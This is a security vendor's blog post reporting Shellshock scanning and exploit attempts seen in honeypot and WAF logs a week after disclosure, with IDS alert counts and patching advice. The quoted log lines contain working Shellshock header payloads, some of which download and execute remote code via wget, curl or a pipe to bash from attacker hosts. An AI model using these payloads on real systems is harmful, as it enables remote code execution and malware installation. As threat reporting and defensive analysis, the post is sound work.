Shellshock a Week Later: What We Have Seen
Trustwave, like most other information security firms, has been busy investigating the ShellShock vulnerability and subsequent scanning and exploit attempts. The SpiderLabs team at Truswave wanted to give the community some feedback on what we are seeing happening "in the wild" and a status on the detections and coverages we have in the relevant Trustwave services and product portfolio.
Attacks in the Wild
Honeypot Alerts
The first indications we received of scanning and exploit attempts came in from our web-based honeypot systems early on September 25 just after public announcement of the vulnerability. You can see in these examples from the Apache access_logs that attackers were scanning sites by adding attack payloads to either Referer or User-Agent field request headers:
162.253.66.76 - - [25/Sep/2014:00:24:27 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:37 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
209.126.230.72 - - [25/Sep/2014:00:47:40 -0400] "GET / HTTP/1.0" 200 10303 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:03:13:23 -0400] "GET / HTTP/1.0" 200 2564 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:03:14:26 -0400] "GET / HTTP/1.0" 200 16 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:03:43:04 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - [25/Sep/2014:03:49:19 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - [25/Sep/2014:03:50:17 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
209.126.230.72 - - [25/Sep/2014:05:59:22 +0900] "GET / HTTP/1.0" 200 22231 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:06:35:21 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - ...
While this data is useful, it is limited to only what is logged by default Apache combined log format. If we look deeper at some of the full HTTP audit logs from the ModSecurity WAF audit log format, we can see more interesting header attacks including cookies and custom headers:
cookie: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://82.118.242.208:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
variable-auth_method: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://82.118.242.208:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
As you can see, these attacks are mainly trying to either confirm the existence of the vulnerability or actual exploit attempts to download and execute malware.
Trustwave Web Application Firewall (WAF) Research Deployments
In addition to our web honeypots that run ModSecurity, Trustwave SpiderLabs also has access to research deployments of our Trustwave Web Application Firewall (WAF) product. Our WAF already has built-in attack payload detections for OS Command Injection attacks that would catch the vast majority of attack payloads such as: echo, cat, ping, etc. In addition to this default protection, we wanted to see specific exploit attempts for this vulnerability so we quickly added in this "User Defined Rule":
Let's take a closer look at a few alert examples taken from our Trustwave WAF research deployment.
Proof of Concept (PoC) Scanning
This client seems to only be testing whether the exploit works.
"Helpful" PoC Scanning
This client is going a step further by trying to notify the website owner that their site may be vulnerable to Shellshock and refers to their website for more information.
Vulnerable Host Enumeration
This example attack is interesting for two reasons:
- The attack source was from China, and
- The attack payload looked to be part of some effort to map the internet (the Host headers were IP addresses) for vulnerable hosts for some later attack
Reverse Shell Tunneling
This client from Brazil was attempting to use Netcat to send back a reverse shell to their address.
IDS Alerts from Trustwave Managed Security Services (MSS)
In addition to our WAF products, Trustwave Managed Security Services (MSS) also saw a huge spike in attack traffic for this vulnerability since September 25:
- SID 31978: 560 alerts
- SID 4100272: 7,834 alerts
Attack Source Analysis
Attack source attribution is challenging as attackers will often loop their traffic through TOR, anonymous proxy servers or even compromised systems. This means that the true origin of the attacks could be from anywhere. Applying some attack source analysis did show that TOR is actively being used to send attack traffic.
Protections and Detections for Trustwave Customers
For more information about Shellshock and Trustwave products and services that can help detect or protect against attacks on the vulnerability, visit the Trustwave blog.
Conclusion
As the data in this blog post illustrates, the threat level for this vulnerability is high due to the prevalence of the vulnerability and the large number of active exploit attempts in the wild. We urge all Trustwave customers to do the following:
- Patch - Apply all relevant patches from vendors to update bash.
- Identify - Leverage vulnerability scanners to help determine which systems are vulnerable to known attack vectors. Trustwave will continue to add detection and protection signatures as research progresses.
- Protect - Protect systems from attack attempts with security products such as IDS/IPS and WAF.
Trustwave will continue to monitor this vulnerability and update protections and detections as needed.
Stay safe out there.
I would like to thank the following SpiderLabs Research team members who helped to ensure that their respective products were updated and also gathered threat intelligence for this blog post:
- Oren Hafif - Researcher for Trustwave WAF
- James Espinosa - Researcher for Trustwave IDS/IPS
- Jonathan Claudius - Lead Security Researcher for Trustwave Vulnerability Management
- Abhishek Rahirkar - Researcher for Trustwave App Scanner
- Jeff Pold - Director of Security Information Services for Trustwave SIEM